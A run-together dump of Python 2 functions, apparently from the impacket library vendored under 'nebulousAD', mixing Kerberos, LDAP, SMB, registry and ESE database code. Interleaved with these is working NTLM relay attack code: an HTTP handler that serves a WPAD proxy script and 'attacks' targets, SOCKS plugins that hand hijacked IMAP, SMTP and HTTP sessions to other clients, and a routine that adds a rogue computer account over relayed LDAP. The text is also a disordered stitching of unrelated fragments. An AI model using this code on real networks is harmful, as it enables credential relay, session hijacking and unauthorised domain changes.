def transferResponse(self): data = self.relaySocket.recv(self.packetSize) headerSize = data.find(EOL + EOL) headers = self.getHeaders(data) try: bodySize = int(headers['content-length']) readSize = len(data) # Make sure we send the entire response, but don't keep it in memory self.socksSocket.send(data) while readSize < bodySize + headerSize + 4: data = self.relaySocket.recv(self.packetSize) readSize += len(data) self.socksSocket.send(data) except KeyError: try: if headers['transfer-encoding'] == 'chunked': # Chunked transfer-encoding, bah LOG.debug('Server sent chunked encoding - transferring') self.transferChunked(data, headers) else: # No body in the response, send as-is self.socksSocket.send(data) except KeyError: # No body in the response, send as-is self.socksSocket.send(data)
def initConnection(self): self.connect() #This is copied from tds.py resp = self.preLogin() if resp['Encryption'] == TDS_ENCRYPT_REQ or resp[ 'Encryption'] == TDS_ENCRYPT_OFF: LOG.debug("Encryption required, switching to TLS") # Switching to TLS now ctx = SSL.Context(SSL.TLSv1_METHOD) ctx.set_cipher_list('RC4, AES256') tls = SSL.Connection(ctx, None) tls.set_connect_state() while True: try: tls.do_handshake() except SSL.WantReadError: data = tls.bio_read(4096) self.sendTDS(TDS_PRE_LOGIN, data, 0) tds = self.recvTDS() tls.bio_write(tds['Data']) else: break # SSL and TLS limitation: Secure Socket Layer (SSL) and its replacement, # Transport Layer Security(TLS), limit data fragments to 16k in size. self.packetSize = 16 * 1024 - 1 self.tlsSocket = tls self.resp = resp return True
def toTGS(self, newSPN=None): tgs_rep = TGS_REP() tgs_rep['pvno'] = 5 tgs_rep['msg-type'] = int( constants.ApplicationTagNumbers.TGS_REP.value) tgs_rep['crealm'] = self['server'].realm['data'] # Fake EncryptedData tgs_rep['enc-part'] = noValue tgs_rep['enc-part']['etype'] = 1 tgs_rep['enc-part']['cipher'] = '' seq_set(tgs_rep, 'cname', self['client'].toPrincipal().components_to_asn1) ticket = types.Ticket() ticket.from_asn1(self.ticket['data']) if newSPN is not None: if newSPN.upper() != str(ticket.service_principal).upper(): LOG.debug( 'Changing sname from %s to %s and hoping for the best' % (ticket.service_principal, newSPN)) ticket.service_principal = types.Principal( newSPN, type=int(ticket.service_principal.type)) seq_set(tgs_rep, 'ticket', ticket.to_asn1) cipher = crypto._enctype_table[self['key']['keytype']]() tgs = dict() tgs['KDC_REP'] = encoder.encode(tgs_rep) tgs['cipher'] = cipher tgs['sessionKey'] = crypto.Key(cipher.enctype, str(self['key']['keyvalue'])) return tgs
def hBaseRegQueryValue(dce, hKey, lpValueName, dataLen=512): request = BaseRegQueryValue() request['hKey'] = hKey request['lpValueName'] = checkNullString(lpValueName) retries = 1 # We need to be aware the size might not be enough, so let's catch ERROR_MORE_DATA exception while True: try: request['lpData'] = ' ' * dataLen request['lpcbData'] = dataLen request['lpcbLen'] = dataLen resp = dce.request(request) except DCERPCSessionError, e: if retries > 1: LOG.debug( 'Too many retries when calling hBaseRegQueryValue, aborting' ) raise if e.get_error_code() == system_errors.ERROR_MORE_DATA: # We need to adjust the size dataLen = e.get_packet()['lpcbData'] continue else: raise else: break
def __init__(self, url, baseDN='', dstIp=None): """ LDAPConnection class :param string url: :param string baseDN: :param string dstIp: :return: a LDAP instance, if not raises a LDAPSessionError exception """ self._SSL = False self._dstPort = 0 self._dstHost = 0 self._socket = None self._baseDN = baseDN self._messageId = 1 self._dstIp = dstIp if url.startswith('ldap://'): self._dstPort = 389 self._SSL = False self._dstHost = url[7:] elif url.startswith('ldaps://'): self._dstPort = 636 self._SSL = True self._dstHost = url[8:] elif url.startswith('gc://'): self._dstPort = 3268 self._SSL = False self._dstHost = url[5:] else: raise LDAPSessionError(errorString="Unknown URL prefix: '%s'" % url) # Try to connect if self._dstIp is not None: targetHost = self._dstIp else: targetHost = self._dstHost LOG.debug('Connecting to %s, port %d, SSL %s' % (targetHost, self._dstPort, self._SSL)) try: af, socktype, proto, _, sa = socket.getaddrinfo( targetHost, self._dstPort, 0, socket.SOCK_STREAM)[0] self._socket = socket.socket(af, socktype, proto) except socket.error as e: raise socket.error('Connection error (%s:%d)' % (targetHost, 88), e) if self._SSL is False: self._socket.connect(sa) else: # Switching to TLS now ctx = SSL.Context(SSL.TLSv1_METHOD) # ctx.set_cipher_list('RC4') self._socket = SSL.Connection(ctx, self._socket) self._socket.connect(sa) self._socket.do_handshake()
def skipAuthentication(self): LOG.debug('Wrapping client connection in TLS/SSL') self.wrapClientConnection() if not HTTPSocksRelay.skipAuthentication(self): # Shut down TLS connection self.socksSocket.shutdown() return False return True
def handle_one_request(self): try: SimpleHTTPServer.SimpleHTTPRequestHandler.handle_one_request(self) except KeyboardInterrupt: raise except Exception, e: LOG.error('Exception in HTTP request handler: %s' % e) LOG.debug(traceback.format_exc())
def initConnection(self): self.session = imaplib.IMAP4(self.targetHost, self.targetPort) self.authTag = self.session._new_tag() LOG.debug('IMAP CAPABILITIES: %s' % str(self.session.capabilities)) if 'AUTH=NTLM' not in self.session.capabilities: LOG.error('IMAP server does not support NTLM authentication!') return False return True
def skipAuthentication(self): LOG.debug('Wrapping IMAP client connection in TLS/SSL') self.wrapClientConnection() try: if not IMAPSocksRelay.skipAuthentication(self): # Shut down TLS connection self.socksSocket.shutdown() return False except Exception, e: LOG.debug('IMAPS: %s' % str(e)) return False
def __getitem__(self, key): if key == 'Data': try: return ''.join([chr(i) for i in self.fields[key]]) except ValueError: # We might have Unicode chars in here, let's use unichr instead LOG.debug('ValueError exception on %s' % self.fields[key]) LOG.debug('Switching to unichr()') return ''.join([unichr(i) for i in self.fields[key]]) else: return NDR.__getitem__(self, key)
def getPage(self, pageNum): LOG.debug("Trying to fetch page %d (0x%x)" % (pageNum, (pageNum + 1) * self.__pageSize)) self.__DB.seek((pageNum + 1) * self.__pageSize, 0) data = self.__DB.read(self.__pageSize) while len(data) < self.__pageSize: remaining = self.__pageSize - len(data) data += self.__DB.read(remaining) # Special case for the first page if pageNum <= 0: return data else: return ESENT_PAGE(self.__DBHeader, data)
def getCredential(self, server, anySPN=True): for c in self.credentials: if c['server'].prettyPrint().upper() == server.upper() or c['server'].prettyPrint().upper().split('@')[0] == server.upper() \ or c['server'].prettyPrint().upper().split('@')[0] == server.upper().split('@')[0]: LOG.debug('Returning cached credential for %s' % c['server'].prettyPrint().upper()) return c LOG.debug('SPN %s not found in cache' % server.upper()) if anySPN is True: LOG.debug('AnySPN is True, looking for another suitable SPN') for c in self.credentials: # Let's search for any TGT/TGS that matches the server w/o the SPN's service type/port, returns # the first one if c['server'].prettyPrint().find('/') >= 0: # Let's take the port out for comparison cachedSPN = '%s@%s' % (c['server'].prettyPrint().upper( ).split('/')[1].split('@')[0].split(':')[0], c['server'].prettyPrint().upper( ).split('/')[1].split('@')[1]) searchSPN = '%s@%s' % ( server.upper().split('/')[1].split('@')[0].split(':') [0], server.upper().split('/')[1].split('@')[1]) if cachedSPN == searchSPN: LOG.debug('Returning cached credential for %s' % c['server'].prettyPrint().upper()) return c return None
def __getBlock(self, offset): self.fd.seek(4096 + offset, 0) sizeBytes = self.fd.read(4) data = sizeBytes + self.fd.read(unpack('<l', sizeBytes)[0] * -1 - 4) if len(data) == 0: return None else: block = REG_HBINBLOCK(data) if StructMappings.has_key(block['Data'][:2]): return StructMappings[block['Data'][:2]](block['Data']) else: LOG.debug("Unknown type 0x%s" % block['Data'][:2]) return block return None
def sendReceive(data, host, kdcHost): if kdcHost is None: targetHost = host else: targetHost = kdcHost messageLen = struct.pack('!i', len(data)) LOG.debug('Trying to connect to KDC at %s' % targetHost) try: af, socktype, proto, canonname, sa = socket.getaddrinfo( targetHost, 88, 0, socket.SOCK_STREAM)[0] s = socket.socket(af, socktype, proto) s.connect(sa) except socket.error, e: raise socket.error("Connection error (%s:%s)" % (targetHost, 88), e)
def generateImpacketCert(certname='/tmp/impacket.crt'): # Create a private key pkey = crypto.PKey() pkey.generate_key(crypto.TYPE_RSA, 2048) # Create the certificate cert = crypto.X509() cert.gmtime_adj_notBefore(0) # Valid for 5 years cert.gmtime_adj_notAfter(60 * 60 * 24 * 365 * 5) subj = cert.get_subject() subj.CN = 'impacket' cert.set_pubkey(pkey) cert.sign(pkey, "sha256") # We write both from the same file with open(certname, 'w') as certfile: certfile.write( crypto.dump_privatekey(crypto.FILETYPE_PEM, pkey).decode('utf-8')) certfile.write( crypto.dump_certificate(crypto.FILETYPE_PEM, cert).decode('utf-8')) LOG.debug('Wrote certificate to %s' % certname)
def tunnelConnection(self): keyword = '' tag = '' while True: try: data = self.socksSocket.recv(self.packetSize) except Exception, e: # Socks socket (client) closed connection or something else. Not fatal for killing the existing relay print keyword, tag LOG.debug('IMAP: sockSocket recv(): %s' % (str(e))) break # If this returns with an empty string, it means the socket was closed if data == '': break # Set the new keyword, unless it is false, then break out of the function result = self.processTunnelData(keyword, tag, data) if result is False: break # If its not false, it's a tuple with the keyword and tag keyword, tag = result
def tunnelConnection(self): doneIndicator = EOL + '.' + EOL while True: data = self.socksSocket.recv(self.packetSize) # If this returns with an empty string, it means the socket was closed if data == '': return info = data.strip().split(' ') # See if a QUIT command was sent, in which case we want to close # the connection to the client but keep the relayed connection alive if info[0].upper() == 'QUIT': LOG.debug( 'Client sent QUIT command, closing socks connection to client' ) self.socksSocket.send( '221 2.0.0 Service closing transmission channel%s' % EOL) return self.relaySocket.send(data) data = self.relaySocket.recv(self.packetSize) self.socksSocket.send(data) if info[0].upper() == 'DATA': LOG.debug('SMTP Socks entering DATA transfer mode') # DATA transfer, forward to the server till done while data[-5:] != doneIndicator: prevdata = data data = self.socksSocket.recv(self.packetSize) self.relaySocket.send(data) if len(data) < 5: # This can happen, the .CRLF will be in a packet after the first CRLF # we stitch them back together for analysis data = prevdata + data LOG.debug('SMTP Socks DATA transfer mode finished') # DATA done, forward server reply data = self.relaySocket.recv(self.packetSize) self.socksSocket.send(data)
def activeConnectionsWatcher(server): while True: # This call blocks until there is data, so it doesn't loop endlessly target, port, scheme, userName, client, data = activeConnections.get() # ToDo: Careful. Dicts are not thread safe right? if server.activeRelays.has_key(target) is not True: server.activeRelays[target] = {} if server.activeRelays[target].has_key(port) is not True: server.activeRelays[target][port] = {} if server.activeRelays[target][port].has_key(userName) is not True: LOG.info('SOCKS: Adding %s@%s(%s) to active SOCKS connection. Enjoy' % (userName, target, port)) server.activeRelays[target][port][userName] = {} # This is the protocolClient. Needed because we need to access the killConnection from time to time. # Inside this instance, you have the session attribute pointing to the relayed session. server.activeRelays[target][port][userName]['protocolClient'] = client server.activeRelays[target][port][userName]['inUse'] = False server.activeRelays[target][port][userName]['data'] = data # Just for the CHALLENGE data, we're storing this general server.activeRelays[target][port]['data'] = data # Let's store the protocol scheme, needed be used later when trying to find the right socks relay server to use server.activeRelays[target][port]['scheme'] = scheme # Default values in case somebody asks while we're gettting the data server.activeRelays[target][port][userName]['isAdmin'] = 'N/A' # Do we have admin access in this connection? try: LOG.debug("Checking admin status for user %s" % str(userName)) isAdmin = client.isAdmin() server.activeRelays[target][port][userName]['isAdmin'] = isAdmin except Exception as e: # Method not implemented server.activeRelays[target][port][userName]['isAdmin'] = 'N/A' pass LOG.debug("isAdmin returned: %s" % server.activeRelays[target][port][userName]['isAdmin']) else: LOG.info('Relay connection for %s at %s(%d) already exists. Discarding' % (userName, target, port)) client.killConnection()
def transferChunked(self, data, headers): headerSize = data.find(EOL + EOL) self.socksSocket.send(data[:headerSize + 4]) body = data[headerSize + 4:] # Size of the chunk datasize = int(body[:body.find(EOL)], 16) while datasize > 0: # Size of the total body bodySize = body.find(EOL) + 2 + datasize + 2 readSize = len(body) # Make sure we send the entire response, but don't keep it in memory self.socksSocket.send(body) while readSize < bodySize: maxReadSize = bodySize - readSize body = self.relaySocket.recv(min(self.packetSize, maxReadSize)) readSize += len(body) self.socksSocket.send(body) body = self.relaySocket.recv(self.packetSize) datasize = int(body[:body.find(EOL)], 16) LOG.debug('Last chunk received - exiting chunked transfer') self.socksSocket.send(body)
def __init__(self,request, client_address, server): self.server = server self.protocol_version = 'HTTP/1.1' self.challengeMessage = None self.target = None self.client = None self.machineAccount = None self.machineHashes = None self.domainIp = None self.authUser = None self.wpad = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||' \ '(host == "127.0.0.1")) return "DIRECT"; if (dnsDomainIs(host, "%s")) return "DIRECT"; ' \ 'return "PROXY %s:80; DIRECT";} ' if self.server.config.mode != 'REDIRECT': if self.server.config.target is None: # Reflection mode, defaults to SMB at the target, for now self.server.config.target = TargetsProcessor(singleTarget='SMB://%s:445/' % client_address[0]) self.target = self.server.config.target.getTarget(self.server.config.randomtargets) LOG.info("HTTPD: Received connection from %s, attacking target %s://%s" % (client_address[0] ,self.target.scheme, self.target.netloc)) try: SimpleHTTPServer.SimpleHTTPRequestHandler.__init__(self,request, client_address, server) except Exception, e: LOG.error(str(e)) LOG.debug(traceback.format_exc())
def hBaseRegEnumValue(dce, hKey, dwIndex, dataLen=256): request = BaseRegEnumValue() request['hKey'] = hKey request['dwIndex'] = dwIndex retries = 1 # We need to be aware the size might not be enough, so let's catch ERROR_MORE_DATA exception while True: try: # Only the maximum length field of the lpValueNameIn is used to determine the buffer length to be allocated # by the service. Specify a string with a zero length but maximum length set to the largest buffer size # needed to hold the value names. request.fields['lpValueNameIn'].fields[ 'MaximumLength'] = dataLen * 2 request.fields['lpValueNameIn'].fields['Data'].fields[ 'Data'].fields['MaximumCount'] = dataLen request['lpData'] = ' ' * dataLen request['lpcbData'] = dataLen request['lpcbLen'] = dataLen resp = dce.request(request) except DCERPCSessionError, e: if retries > 1: LOG.debug( 'Too many retries when calling hBaseRegEnumValue, aborting' ) raise if e.get_error_code() == system_errors.ERROR_MORE_DATA: # We need to adjust the size retries += 1 dataLen = e.get_packet()['lpcbData'] continue else: raise else: break
def keepAliveTimer(server): LOG.debug('KeepAlive Timer reached. Updating connections') for target in server.activeRelays.keys(): for port in server.activeRelays[target].keys(): # Now cycle through the users for user in server.activeRelays[target][port].keys(): if user != 'data' and user != 'scheme': # Let's call the keepAlive method for the handler to keep the connection alive if server.activeRelays[target][port][user]['inUse'] is False: LOG.debug('Calling keepAlive() for %s@%s:%s' % (user, target, port)) try: server.activeRelays[target][port][user]['protocolClient'].keepAlive() except Exception, e: LOG.debug('SOCKS: %s' % str(e)) if str(e).find('Broken pipe') >= 0 or str(e).find('reset by peer') >=0 or \ str(e).find('Invalid argument') >= 0 or str(e).find('Server not connected') >=0: # Connection died, taking out of the active list del (server.activeRelays[target][port][user]) if len(server.activeRelays[target][port].keys()) == 1: del (server.activeRelays[target][port]) LOG.debug('Removing active relay for %s@%s:%s' % (user, target, port)) else: LOG.debug('Skipping %s@%s:%s since it\'s being used at the moment' % (user, target, port))
def mountDB(self): LOG.debug("Mounting DB...") if self.__isRemote is True: self.__DB = self.__fileName self.__DB.open() else: self.__DB = open(self.__fileName, "rb") mainHeader = self.getPage(-1) self.__DBHeader = ESENT_DB_HEADER(mainHeader) self.__pageSize = self.__DBHeader['PageSize'] self.__DB.seek(0, 2) self.__totalPages = (self.__DB.tell() / self.__pageSize) - 2 LOG.debug("Database Version:0x%x, Revision:0x%x" % (self.__DBHeader['Version'], self.__DBHeader['FileFormatRevision'])) LOG.debug("Page Size: %d" % self.__pageSize) LOG.debug("Total Pages in file: %d" % self.__totalPages) self.parseCatalog(CATALOG_PAGE_NUMBER)
def addComputer(self, parent, domainDumper): """ Add a new computer. Parent is preferably CN=computers,DC=Domain,DC=local, but can also be an OU or other container where we have write privileges """ global alreadyAddedComputer if alreadyAddedComputer: LOG.error('New computer already added. Refusing to add another') return # Random password newPassword = ''.join( random.choice(string.ascii_letters + string.digits + string.punctuation) for _ in range(15)) # Get the domain we are in domaindn = domainDumper.root domain = re.sub(',DC=', '.', domaindn[domaindn.find('DC='):], flags=re.I)[3:] # Random computername newComputer = ( ''.join(random.choice(string.ascii_letters) for _ in range(8)) + '$').upper() computerHostname = newComputer[:-1] newComputerDn = ('CN=%s,%s' % (computerHostname, parent)).encode('utf-8') # Default computer SPNs spns = [ 'HOST/%s' % computerHostname, 'HOST/%s.%s' % (computerHostname, domain), 'RestrictedKrbHost/%s' % computerHostname, 'RestrictedKrbHost/%s.%s' % (computerHostname, domain), ] ucd = { 'dnsHostName': '%s.%s' % (computerHostname, domain), 'userAccountControl': 4096, 'servicePrincipalName': spns, 'sAMAccountName': newComputer, 'unicodePwd': '"{}"'.format(newPassword).encode('utf-16-le') } LOG.debug('New computer info %s', ucd) LOG.info('Attempting to create computer in: %s', parent) res = self.client.add( newComputerDn.decode('utf-8'), ['top', 'person', 'organizationalPerson', 'user', 'computer'], ucd) if not res: # Adding computers requires LDAPS if self.client.result[ 'result'] == RESULT_UNWILLING_TO_PERFORM and not self.client.server.ssl: LOG.error( 'Failed to add a new computer. The server denied the operation. Try relaying to LDAP with TLS enabled (ldaps) or escalating an existing account.' ) else: LOG.error('Failed to add a new computer: %s' % str(self.client.result)) return False else: LOG.info( 'Adding new computer with username: %s and password: %s result: OK' % (newComputer, newPassword)) alreadyAddedComputer = True # Return the SAM name return newComputer
def skipAuthentication(self): self.socksSocket.sendall('* OK The Microsoft Exchange IMAP4 service is ready.'+EOL) # Next should be the client requesting CAPABILITIES tag, cmd = self.recvPacketClient() if cmd.upper() == 'CAPABILITY': clientcapabilities = list(self.getServerCapabilities()) # Don't offer these AUTH options so the client won't use them blacklist = ['AUTH=GSSAPI', 'AUTH=NTLM', 'LOGINDISABLED'] for cap in blacklist: if cap in clientcapabilities: clientcapabilities.remove(cap) # Offer PLAIN auth for specifying the username if 'AUTH=PLAIN' not in clientcapabilities: clientcapabilities.append('AUTH=PLAIN') # Offer LOGIN for specifying the username if 'LOGIN' not in clientcapabilities: clientcapabilities.append('LOGIN') LOG.debug('IMAP: Sending mirrored capabilities from server: %s' % ' '.join(clientcapabilities)) self.socksSocket.sendall('* CAPABILITY %s%s%s OK CAPABILITY completed.%s' % (' '.join(clientcapabilities), EOL, tag, EOL)) else: LOG.error('IMAP: Socks plugin expected CAPABILITY command, but got: %s' % cmd) return False # next tag, cmd = self.recvPacketClient() args = cmd.split(' ') if cmd.upper() == 'AUTHENTICATE PLAIN': # Send continuation command self.socksSocket.sendall('+'+EOL) # Client will now send their AUTH data = self.socksSocket.recv(self.packetSize) # This contains base64(\x00username\x00password), decode and split creds = base64.b64decode(data.strip()) self.username = creds.split('\x00')[1].upper() elif args[0].upper() == 'LOGIN': # Simple login self.username = args[1].upper() else: LOG.error('IMAP: Socks plugin expected LOGIN or AUTHENTICATE PLAIN command, but got: %s' % cmd) return False # Check if we have a connection for the user if self.activeRelays.has_key(self.username): # Check the connection is not inUse if self.activeRelays[self.username]['inUse'] is True: LOG.error('IMAP: Connection for %s@%s(%s) is being used at the moment!' % ( self.username, self.targetHost, self.targetPort)) return False else: LOG.info('IMAP: Proxying client session for %s@%s(%s)' % ( self.username, self.targetHost, self.targetPort)) self.session = self.activeRelays[self.username]['protocolClient'].session else: LOG.error('IMAP: No session for %s@%s(%s) available' % ( self.username, self.targetHost, self.targetPort)) return False # We arrived here, that means all is OK self.socksSocket.sendall('%s OK %s completed.%s' % (tag, args[0].upper(), EOL)) self.relaySocket = self.session.sock self.relaySocketFile = self.session.file return True
def processTunnelData(self, keyword, tag, data): # Pass the request to the server, store the tag unless the last command # was a continuation. In the case of the continuation we still check if # there were commands issued after analyze = data.split(EOL)[:-1] if keyword == '+': # We do send the continuation to the server # but we don't analyze it self.relaySocket.sendall(analyze.pop(0)+EOL) keyword = '' for line in analyze: info = line.split(' ') tag = info[0] # See if a LOGOUT command was sent, in which case we want to close # the connection to the client but keep the relayed connection alive # also handle APPEND commands try: if info[1].upper() == 'IDLE': self.idleState = True elif info[1].upper() == 'DONE': self.idleState = False elif info[1].upper() == 'CLOSE': self.shouldClose = False elif info[1].upper() == 'LOGOUT': self.socksSocket.sendall('%s OK LOGOUT completed.%s' % (tag, EOL)) return False elif info[1].upper() == 'APPEND': LOG.debug('IMAP socks APPEND command detected, forwarding email data') # APPEND command sent, forward all the data, no further commands here self.relaySocket.sendall(data) sent = len(data) - len(line) + len(EOL) # https://tools.ietf.org/html/rfc7888 literal = info[4][1:-1] if literal[-1] == '+': literalPlus = True totalSize = int(literal[:-1]) else: literalPlus = False totalSize = int(literal) while sent < totalSize: data = self.socksSocket.recv(self.packetSize) self.relaySocket.sendall(data) sent += len(data) LOG.debug('Forwarded %d bytes' % sent) if literalPlus: data = self.socksSocket.recv(self.packetSize) self.relaySocket.sendall(data) LOG.debug('IMAP socks APPEND command complete') # break out of the analysis loop break except IndexError: pass self.relaySocket.sendall(line+EOL) # Send the response back to the client, until the command is complete # or the server requests more data while keyword != tag and keyword != '+': try: data = self.relaySocketFile.readline() except Exception, e: # This didn't break the connection to the server, don't make it fatal LOG.debug("IMAP relaySocketFile: %s" % str(e)) return False keyword = data.split(' ', 2)[0] try: self.socksSocket.sendall(data) except Exception, e: LOG.debug("IMAP socksSocket: %s" % str(e)) return False
def kerberosLogin(self, user, password, domain='', lmhash='', nthash='', aesKey='', kdcHost=None, TGT=None, TGS=None, useCache=True): """ logins into the target system explicitly using Kerberos. Hashes are used if RC4_HMAC is supported. :param string user: username :param string password: password for the user :param string domain: domain where the account is valid for (required) :param string lmhash: LMHASH used to authenticate using hashes (password is not used) :param string nthash: NTHASH used to authenticate using hashes (password is not used) :param string aesKey: aes256-cts-hmac-sha1-96 or aes128-cts-hmac-sha1-96 used for Kerberos authentication :param string kdcHost: hostname or IP Address for the KDC. If None, the domain will be used (it needs to resolve tho) :param struct TGT: If there's a TGT available, send the structure here and it will be used :param struct TGS: same for TGS. See smb3.py for the format :param bool useCache: whether or not we should use the ccache for credentials lookup. If TGT or TGS are specified this is False :return: None, raises a Session Error if error. """ import os from nebulousAD.modimpacket.krb5.ccache import CCache from nebulousAD.modimpacket.krb5.kerberosv5 import KerberosError from nebulousAD.modimpacket.krb5 import constants self._kdcHost = kdcHost self._useCache = useCache if TGT is not None or TGS is not None: useCache = False if useCache is True: try: ccache = CCache.loadFile(os.getenv('KRB5CCNAME')) except: # No cache present pass else: LOG.debug("Using Kerberos Cache: %s" % os.getenv('KRB5CCNAME')) # retrieve domain information from CCache file if needed if domain == '': domain = ccache.principal.realm['data'] LOG.debug('Domain retrieved from CCache: %s' % domain) principal = 'cifs/%s@%s' % (self.getRemoteName().upper(), domain.upper()) creds = ccache.getCredential(principal) if creds is None: # Let's try for the TGT and go from there principal = 'krbtgt/%s@%s' % (domain.upper(), domain.upper()) creds = ccache.getCredential(principal) if creds is not None: TGT = creds.toTGT() LOG.debug('Using TGT from cache') else: LOG.debug("No valid credentials found in cache. ") else: TGS = creds.toTGS(principal) LOG.debug('Using TGS from cache') # retrieve user information from CCache file if needed if user == '' and creds is not None: user = creds['client'].prettyPrint().split('@')[0] LOG.debug('Username retrieved from CCache: %s' % user) elif user == '' and len(ccache.principal.components) > 0: user = ccache.principal.components[0]['data'] LOG.debug('Username retrieved from CCache: %s' % user) while True: try: if self.getDialect() == smb.SMB_DIALECT: return self._SMBConnection.kerberos_login( user, password, domain, lmhash, nthash, aesKey, kdcHost, TGT, TGS) return self._SMBConnection.kerberosLogin( user, password, domain, lmhash, nthash, aesKey, kdcHost, TGT, TGS) except (smb.SessionError, smb3.SessionError), e: raise SessionError(e.get_error_code(), e.get_error_packet()) except KerberosError, e: if e.getErrorCode( ) == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value: # We might face this if the target does not support AES # So, if that's the case we'll force using RC4 by converting # the password to lm/nt hashes and hope for the best. If that's already # done, byebye. if lmhash is '' and nthash is '' and ( aesKey is '' or aesKey is None) and TGT is None and TGS is None: from nebulousAD.modimpacket.ntlm import compute_lmhash, compute_nthash lmhash = compute_lmhash(password) nthash = compute_nthash(password) else: raise e else: raise e
def kerberosLogin(self, user, password, domain='', lmhash='', nthash='', aesKey='', kdcHost=None, TGT=None, TGS=None, useCache=True): """ logins into the target system explicitly using Kerberos. Hashes are used if RC4_HMAC is supported. :param string user: username :param string password: password for the user :param string domain: domain where the account is valid for (required) :param string lmhash: LMHASH used to authenticate using hashes (password is not used) :param string nthash: NTHASH used to authenticate using hashes (password is not used) :param string aesKey: aes256-cts-hmac-sha1-96 or aes128-cts-hmac-sha1-96 used for Kerberos authentication :param string kdcHost: hostname or IP Address for the KDC. If None, the domain will be used (it needs to resolve tho) :param struct TGT: If there's a TGT available, send the structure here and it will be used :param struct TGS: same for TGS. See smb3.py for the format :param bool useCache: whether or not we should use the ccache for credentials lookup. If TGT or TGS are specified this is False :return: True, raises a LDAPSessionError if error. """ if lmhash != '' or nthash != '': if len(lmhash) % 2: lmhash = '0' + lmhash if len(nthash) % 2: nthash = '0' + nthash try: # just in case they were converted already lmhash = unhexlify(lmhash) nthash = unhexlify(nthash) except TypeError: pass # Importing down here so pyasn1 is not required if kerberos is not used. from nebulousAD.modimpacket.krb5.ccache import CCache from nebulousAD.modimpacket.krb5.asn1 import AP_REQ, Authenticator, TGS_REP, seq_set from nebulousAD.modimpacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS from nebulousAD.modimpacket.krb5 import constants from nebulousAD.modimpacket.krb5.types import Principal, KerberosTime, Ticket import datetime if TGT is not None or TGS is not None: useCache = False if useCache: try: ccache = CCache.loadFile(os.getenv('KRB5CCNAME')) except: # No cache present pass else: # retrieve domain information from CCache file if needed if domain == '': domain = ccache.principal.realm['data'] LOG.debug('Domain retrieved from CCache: %s' % domain) LOG.debug('Using Kerberos Cache: %s' % os.getenv('KRB5CCNAME')) principal = 'ldap/%s@%s' % (self._dstHost.upper(), domain.upper()) creds = ccache.getCredential(principal) if creds is None: # Let's try for the TGT and go from there principal = 'krbtgt/%s@%s' % (domain.upper(), domain.upper()) creds = ccache.getCredential(principal) if creds is not None: TGT = creds.toTGT() LOG.debug('Using TGT from cache') else: LOG.debug('No valid credentials found in cache') else: TGS = creds.toTGS(principal) LOG.debug('Using TGS from cache') # retrieve user information from CCache file if needed if user == '' and creds is not None: user = creds['client'].prettyPrint().split('@')[0] LOG.debug('Username retrieved from CCache: %s' % user) elif user == '' and len(ccache.principal.components) > 0: user = ccache.principal.components[0]['data'] LOG.debug('Username retrieved from CCache: %s' % user) # First of all, we need to get a TGT for the user userName = Principal( user, type=constants.PrincipalNameType.NT_PRINCIPAL.value) if TGT is None: if TGS is None: tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT( userName, password, domain, lmhash, nthash, aesKey, kdcHost) else: tgt = TGT['KDC_REP'] cipher = TGT['cipher'] sessionKey = TGT['sessionKey'] if TGS is None: serverName = Principal( 'ldap/%s' % self._dstHost, type=constants.PrincipalNameType.NT_SRV_INST.value) tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS( serverName, domain, kdcHost, tgt, cipher, sessionKey) else: tgs = TGS['KDC_REP'] cipher = TGS['cipher'] sessionKey = TGS['sessionKey'] # Let's build a NegTokenInit with a Kerberos REQ_AP blob = SPNEGO_NegTokenInit() # Kerberos blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']] # Let's extract the ticket from the TGS tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0] ticket = Ticket() ticket.from_asn1(tgs['ticket']) # Now let's build the AP_REQ apReq = AP_REQ() apReq['pvno'] = 5 apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) opts = [] apReq['ap-options'] = constants.encodeFlags(opts) seq_set(apReq, 'ticket', ticket.to_asn1) authenticator = Authenticator() authenticator['authenticator-vno'] = 5 authenticator['crealm'] = domain seq_set(authenticator, 'cname', userName.components_to_asn1) now = datetime.datetime.utcnow() authenticator['cusec'] = now.microsecond authenticator['ctime'] = KerberosTime.to_asn1(now) encodedAuthenticator = encoder.encode(authenticator) # Key Usage 11 # AP-REQ Authenticator (includes application authenticator # subkey), encrypted with the application session key # (Section 5.5.1) encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11, encodedAuthenticator, None) apReq['authenticator'] = noValue apReq['authenticator']['etype'] = cipher.enctype apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator blob['MechToken'] = encoder.encode(apReq) # Done with the Kerberos saga, now let's get into LDAP bindRequest = BindRequest() bindRequest['version'] = 3 bindRequest['name'] = user bindRequest['authentication']['sasl']['mechanism'] = 'GSS-SPNEGO' bindRequest['authentication']['sasl']['credentials'] = blob.getData() response = self.sendReceive(bindRequest)[0]['protocolOp'] if response['bindResponse']['resultCode'] != ResultCode('success'): raise LDAPSessionError( errorString='Error in bindRequest -> %s: %s' % (response['bindResponse']['resultCode'].prettyPrint(), response['bindResponse']['diagnosticMessage'])) return True
def getKerberosType1(username, password, domain, lmhash, nthash, aesKey='', TGT=None, TGS=None, targetName='', kdcHost=None, useCache=True): if TGT is None and TGS is None: if useCache is True: try: ccache = CCache.loadFile(os.getenv('KRB5CCNAME')) except Exception, e: # No cache present pass else: # retrieve domain information from CCache file if needed if domain == '': domain = ccache.principal.realm['data'] LOG.debug('Domain retrieved from CCache: %s' % domain) LOG.debug("Using Kerberos Cache: %s" % os.getenv('KRB5CCNAME')) principal = 'host/%s@%s' % (targetName.upper(), domain.upper()) creds = ccache.getCredential(principal) if creds is None: # Let's try for the TGT and go from there principal = 'krbtgt/%s@%s' % (domain.upper(), domain.upper()) creds = ccache.getCredential(principal) if creds is not None: TGT = creds.toTGT() LOG.debug('Using TGT from cache') else: LOG.debug("No valid credentials found in cache. ") else: TGS = creds.toTGS(principal) # retrieve user information from CCache file if needed if username == '' and creds is not None: username = creds['client'].prettyPrint().split('@')[0] LOG.debug('Username retrieved from CCache: %s' % username) elif username == '' and len(ccache.principal.components) > 0: username = ccache.principal.components[0]['data'] LOG.debug('Username retrieved from CCache: %s' % username)
